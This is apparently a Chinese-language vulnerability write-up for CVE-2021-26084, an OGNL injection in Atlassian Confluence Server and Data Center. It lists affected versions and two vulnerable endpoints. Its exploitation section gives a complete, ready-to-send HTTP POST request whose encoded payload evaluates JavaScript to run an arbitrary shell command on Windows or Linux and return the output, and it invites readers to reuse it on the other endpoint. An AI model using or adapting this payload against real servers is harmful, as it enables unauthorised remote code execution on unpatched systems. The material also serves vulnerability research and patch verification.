0x01漏洞概述

Confluence Server和Confluence Data Center上存在一个OGNL注入漏洞，漏洞编号为CVE-2021-26084。该漏洞允许经过身份验证或在某些情况下未授权的攻击者，在Confluence Server或Confluence Data Center上执行任意代码。

0x02影响版本

Atlassian Confluence Server/Data Center < 6.13.23

Atlassian Confluence Server/Data Center < 7.4.11

Atlassian Confluence Server/Data Center < 7.11.6

Atlassian Confluence Server/Data Center < 7.12.5

Atlassian Confluence Server/Data Center < 7.13.0

0x03漏洞检测

• 本漏洞有多个接口可以触发

/pages/doenterpagevariables.action
/pages/createpage-entervariables.action

/pages/doenterpagevariables.action

表达式成功解析

/pages/createpage-entervariables.action

表达式成功解析

0x04漏洞利用

!!!(注意，另外一个接口也是这样用，就不多截图了，有需要的师傅可以自己改接口就行)

POST /pages/createpage-entervariables.action?SpaceKey=X HTTP/1.1
Host: ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1070

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027